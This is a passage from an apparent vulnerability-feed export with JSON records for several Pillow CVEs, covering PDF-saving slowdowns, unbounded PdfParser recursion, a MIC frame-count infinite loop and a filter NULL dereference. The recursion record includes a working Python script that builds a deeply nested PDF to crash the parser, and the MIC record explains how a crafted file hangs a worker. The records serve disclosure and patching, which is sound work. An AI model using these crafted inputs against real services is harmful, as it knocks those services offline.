+ 1, 0)\n except ValueError:\n reference = IndirectReference(1, 0)\n if offset is not None:\n self.xref_table[reference.object_id] = (offset, 0)\n return reference\n\n# src/PIL/PdfParser.py:175-178 (XrefTable)\n def keys(self) -> set[int]:\n return (\n set(self.existing_entries.keys()) - set(self.deleted_entries.keys())\n ) | set(self.new_entries.keys())\n```\n\n`_save` passes `offset=0`, so every reserved id is inserted into `xref_table.new_entries`. The k-th call therefore materialises three sets covering all k−1 previous ids, computes a difference and a union, and then `max()` scans the result — O(k) work to produce the integer k. Summed over 3N calls this is O(N²): for 48 000 frames, 144 002 calls over sets growing to 144 002 elements, on the order of 10¹⁰ set-element operations, all spent before `_write_image` is reached for the first frame. Nothing on this path consults `MAX_IMAGE_PIXELS` (the frames are 1×1) and nothing raises; for the GIF the save eventually completes and produces a valid PDF, and for the declared-only APNG it raises `OSError` only once the id loop has finished and the first missing frame is seeked.\n\nThis reservation scheme was introduced in `6207b44ab1ff` (\"issue #2959: support appending to existing PDFs\", 2018-01-18) and first shipped in Pillow 5.1.0; before it, the writer numbered objects arithmetically.\n\nFor contrast, `write_obj(ref, …)` with an already-reserved `ref` (`src/PIL/PdfParser.py:548-555`) only does a dict store, which is why the page-wr\n\nAffected package ranges reported by GitHub:\nPillow: >= 5.1.0, < 13.0.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T21:11:44.000Z","updatedAt":"2026-10-21T21:11:47.000Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-jg86-v3jv-hrpm","asOf":"2026-10-21T21:11:47.000Z"},"epss":{"probability":0.00512,"percentile":0.43362,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112894&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-jg86-v3jv-hrpm","url":"https://github.com/advisories/GHSA-jg86-v3jv-hrpm","type":"primary","publishedAt":"2026-10-21T21:11:44.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-jg86-v3jv-hrpm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-jg86-v3jv-hrpm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-jg86-v3jv-hrpm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-jg86-v3jv-hrpm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-jg86-v3jv-hrpm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-jg86-v3jv-hrpm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-jg86-v3jv-hrpm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-jg86-v3jv-hrpm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-jg86-v3jv-hrpm, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-112894","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112894","type":"primary","publishedAt":"2026-10-19T22:17:09.483Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112894&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112894, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112391","cveId":"CVE-2026-112391","aliases":["GHSA-254f-3936-288h"],"kind":"vulnerability","title":"Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()","summary":"This is a classmethod that takes `max_nesting: int = -1` and has a guard:\n\n```python\nif max_nesting == 0:\n return None, None\n```","detail":"### Summary\n`PdfParser`'s `get_value()` can recurse without any limit and crash with an uncaught `RecursionError`. It is reachable through `Image.save(im, fp= , format=\"PDF\", append=True)` when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.\n\n### Details\n**`get_value()` in `src/PIL/PdfParser.py`**\n\nThis is a classmethod that takes `max_nesting: int = -1` and has a guard:\n\n```python\nif max_nesting == 0:\n return None, None\n```\n\nEvery recursive call (nested arrays, dictionaries, indirect object definitions) passes `max_nesting=max_nesting - 1`. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid `/Pages` tree, since `read_pdf_info()` parses the `/Root` object's own dictionary first, before checking anything else.\n\nThis advisory reports a single vulnerability: an ineffective recursion-depth guard in `PdfParser.get_value()` (the sentinel `-1` default never reaches the `== 0` check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in get_value() .\n\n### Steps to reproduce\nBoth PDFs below are plain text, built directly in Python, no PDF library needed.\n\n```python\nfrom PIL.PdfParser import PdfParser\n\ndef build_pdf(root):\n out = bytearray(b\"%PDF-1.4\\n\")\n offset = len(out)\n out += f\"1 0 obj\\n\".encode()\n out += root\n out += b\"\\nendobj\\n\"\n out += b\"xref\\n\"\n out += f\"0 2\\n\".encode()\n out += b\"0000000000 65535 f \\n\"\n out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\"\n xref_offset = len(out)\n out += b\"xref\\n\"\n out += f\"0 2\\n\".encode()\n out += b\"0000000000 65535 f \\n\"\n out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\"\n out += b\"trailer\\n\"\n out += f\" >\\n\".encode()\n out += b\"startxref\\n\"\n out += f\"{xref_offset}\\n\".encode()\n out += b\"%%EOF\"\n return bytes(out)\n\nbomb = b\"[\" * 3000 + b\"]\" * 3000\nroot = b\" >\"\nwith open(\"nesting_bomb.pdf\", \"wb\") as f:\n f.write(build_pdf(root))\n\nPdfParser(\"nesting_bomb.pdf\") # raises RecursionError\n```\n\nExpected: a clean `PdfFormatError`.\n\nActual: raises a raw `RecursionError: maximum recursion depth exceeded`.\n\n### Impact\n- Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (`Image.save(..., format=\"PDF\", append=True)`) can crash that request with a RecursionError, using a file of a few hundred bytes.\n- Confidentiality: none.\n- Integrity: none.\n- Pillow cannot open PDFs for reading through `Image.open()`. `PdfParser` is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.\n\nAffected package ranges reported by GitHub:\nPillow: >= 5.1.0, < 13.0.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T21:11:07.000Z","updatedAt":"2026-10-23T17:00:31.740Z","regions":["Global"],"vendor":"python","product":"Pillow","stacks":["Python","Python packages (PyPI)","Pillow","pip","pillow"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112391","asOf":"2026-10-23T17:00:31.740Z"},"epss":{"probability":0.00581,"percentile":0.47465,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112391&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-254f-3936-288h","url":"https://github.com/advisories/GHSA-254f-3936-288h","type":"primary","publishedAt":"2026-10-21T21:11:07.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-254f-3936-288h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-254f-3936-288h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-254f-3936-288h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-254f-3936-288h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-254f-3936-288h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-254f-3936-288h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-254f-3936-288h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-254f-3936-288h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-254f-3936-288h, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-112391","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112391","type":"primary","publishedAt":"2026-10-19T21:17:07.477Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-254f-3936-288h","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112391&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112391, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112390","cveId":"CVE-2026-112390","aliases":["GHSA-22hg-r758-rrw9"],"kind":"vulnerability","title":"Pillow: Infinite loop in MIC n_frames when the embedded TIFF","summary":"```\n============================================================================\nInfinite loop in MIC n_frames when the embedded TIFF has 3+ IFDs\nLocation: src/PIL/MicImagePlugin.py:86 in MicImageFile.tell()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA crafted 5.6 KB image file makes Pillow loop forever at 100% CPU when an application asks how many frames the image has. This only affects installations that have the optional `olefile` package. Any application that opens an untrusted image and then reads `im.n_frames` can have one worker tied up indefinitely. That includes the common \"is this image animated?\" check and re-saving with `save_all=True` to TIFF, PDF or WebP. The call never returns, raises no exception, and does not grow memory, so only an external watchdog stops it.","detail":"```\n============================================================================\nInfinite loop in MIC n_frames when the embedded TIFF has 3+ IFDs\nLocation: src/PIL/MicImagePlugin.py:86 in MicImageFile.tell()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA crafted 5.6 KB image file makes Pillow loop forever at 100% CPU when an application asks how many frames the image has. This only affects installations that have the optional `olefile` package. Any application that opens an untrusted image and then reads `im.n_frames` can have one worker tied up indefinitely. That includes the common \"is this image animated?\" check and re-saving with `save_all=True` to TIFF, PDF or WebP. The call never returns, raises no exception, and does not grow memory, so only an external watchdog stops it.\n\nThe file is a Microsoft Image Composer (MIC) container, which Pillow recognises by its magic bytes with no extension needed. Inside it is a TIFF stream with three chained image directories. `MicImageFile` subclasses `TiffImageFile` and overrides `seek()` and `tell()` so that a \"frame\" means one stream in the container. It still inherits `TiffImageFile.n_frames` (`src/PIL/TiffImagePlugin.py:1212`), which walks the embedded TIFF's directory chain with `self._seek(self.tell() + 1)` until `_n_frames` is set. Two things stop that walk from making progress:\n\n- `MicImageFile.tell()` (`src/PIL/MicImagePlugin.py:86`) returns the constant stream index.\n- `MicImageFile.seek()` calls `TiffImageFile._open()`, which resets `_n_frames` to `None`.\n\nAs a result, the loop re-parses the second directory forever whenever the embedded stream has three or more directories. `Image.open()`, `load()`, `thumbnail()`, `convert()`, `is_animated` and `ImageSequence` iteration do not hang on this file. The regression was introduced in 0b33a87b0d15 (April 2020, first released in 7.2.0), which removed `MicImageFile`'s own `n_frames` property. The attached reproducer builds the file in code and checks two controls, which return 3 and 1 frames as expected; the malicious file is still running when it is killed after 20 seconds.\n\n## Details\n\n`MicImageFile` (registered for `Image.open` whenever `olefile` is installed) subclasses `TiffImageFile` and redefines a \"frame\" as one OLE `*.ACI/Image` stream, overriding `seek()` and `tell()` accordingly. It does not override the `n_frames` property, so the inherited TIFF implementation runs, and that implementation relies on `tell()` advancing as IFDs are loaded. `MicImageFile.tell()` returns the OLE stream index, which never changes inside `n_frames`, so the loop re-parses the same IFD forever.\n\nA 5632-byte OLE2 compound file whose `img0.ACI/Image` stream is a 351-byte TIFF with three chained 1×1 IFDs is enough. `Image.open()` on it succeeds (format `MIC`, detected by the OLE magic, no extension needed); evaluating `im.n_frames` then never returns and keeps one core at 100 %. A Python stack taken 27 s in is\n\n```\n File \"src/PIL/TiffImagePlugin.py\", line 1622 in _setup\n File \"src/PIL/TiffImagePlugin.py\", line 1271 in _seek\n File \"src/PIL/TiffImagePlugin.py\", line 1219 in n_frames\n```\n\nand instrumenting `_seek` shows it being called with `frame=1`, `tell()==0`, `_frame_pos==[8, 122]`, `_n_frames is None` on every iteration — identical state, so the loop is non-terminating, not merely slow. The same 351 TIFF bytes opened directly give `n_frames == 3` in milliseconds, and the same container around a 1-IFD TIFF gives `n_frames == 1`.\n\nThe loop, `src/PIL/TiffImagePlugin.py:1212`:\n\n```python\n @property\n def n_frames(self) -> int:\n current_n_frames = self._n_frames\n if current_n_frames is None:\n current = self.tell()\n self._seek(len(self._frame_pos))\n while self._n_frames is None:\n self._seek(self.tell() + 1) # 1219\n self.seek(current)\n```\n\nand the overrides that break its progress assumption, `src/PIL/MicImagePlugin.py:76`:\n\n```python\n def seek(self, frame: int) -> None:\n …\n self.fp = self.ole.openstream(filename)\n TiffImagePlugin.TiffImageFile._open(self) # 82: resets _n_frames to None\n self.frame = frame\n\n def tell(self) -> int:\n return self.frame # 87: OLE stream index, not TIFF __frame\n```\n\nFor a plain TIFF, `_seek(k)` (`TiffImagePlugin.py:1236`) loads IFDs up to `k`, appending each offset to `_frame_pos`, setting `_n_frames` when an IFD's next-pointer is 0 (or already seen), and setting the private `__frame = k`; `TiffImageFile.tell()` returns `__frame`, so `self.tell() + 1` walks the chain to its end.\n\nFor a MIC file, `Image.open` → `MicImageFile._open` sets `self._n_frames = len(self.images)` at line 69, but then calls `self.seek(0)` → `TiffImageFile._open` (line 82), which unconditionally sets `self._n_frames = None` (`TiffImagePlugin.py:1203`) and `_seek(0)`s into the embedded stream. With the 3-IFD stream, IFD 0 has a non-zero next pointer, so `_n_frames` stays `None` after open. `n_frames` then runs: `current = self.tell()` is `0` (the OLE index); `_seek(len(_frame_pos))` = `_seek(1)` loads IFD 1, whose next pointer is also non-zero and not yet in `_frame_pos`, so `_n_frames` is still `None`. The `while` body computes `self.tell() + 1` = `0 + 1` and calls `_seek(1)` again; `len(_frame_pos)` is already 2, so nothing new is loaded — IFD 1 is re-read via `tag_v2.load` and `_setup()` and the state is unchanged. This repeats indefinitely; IFD 2 is never reached. Two chained IFDs are not enough (IFD 1's next pointer of 0 sets `_n_frames = 2` on the first `_seek(1)`); three or more are.\n\n`Tests/test_file_mic.py::test_n_frames` passes only because `hopper.mic`'s stream has a single IFD, so `_seek(0)` sets `_n_frames = 1` and the loop is never entered; the `len(self.images)` assignment at line 69 is only consumed by the initial `_seek_check(0)` and is overwritten before any caller can read `n_frames`.\n\nA side effect of the same mismatch: with a 2-IFD stream `n_frames` returns 2 (TIFF IFDs) while `seek(1)` indexes `self.images[1\n\nAffected package ranges reported by GitHub:\nPillow: >= 7.2.0, < 13.0.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T20:39:49.000Z","updatedAt":"2026-10-23T17:01:18.697Z","regions":["Global"],"vendor":"python","product":"Pillow","stacks":["Python","Python packages (PyPI)","Pillow","pip","pillow"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112390","asOf":"2026-10-23T17:01:18.697Z"},"epss":{"probability":0.00593,"percentile":0.48041,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112390&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-22hg-r758-rrw9","url":"https://github.com/advisories/GHSA-22hg-r758-rrw9","type":"primary","publishedAt":"2026-10-21T20:39:49.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-22hg-r758-rrw9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-22hg-r758-rrw9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-22hg-r758-rrw9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-22hg-r758-rrw9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-22hg-r758-rrw9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-22hg-r758-rrw9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-22hg-r758-rrw9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-22hg-r758-rrw9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-22hg-r758-rrw9, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-112390","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112390","type":"primary","publishedAt":"2026-10-19T21:17:07.340Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-22hg-r758-rrw9","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112390&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112390, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112392","cveId":"CVE-2026-112392","aliases":["GHSA-27h8-gf7j-v5hc"],"kind":"vulnerability","title":"Pillow: NULL dereference in ImagingExpand via rank filters on zero-size images","summary":"```\n============================================================================\nNULL dereference in ImagingExpand via rank filters on zero-size images\nLocation: src/libImaging/Filter.c:79 in ImagingExpand()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nApplying Pillow's median, minimum, maximum or rank filter to an image with zero width or zero height crashes the whole Python process instead of raising an error. Empty images like this are easy to 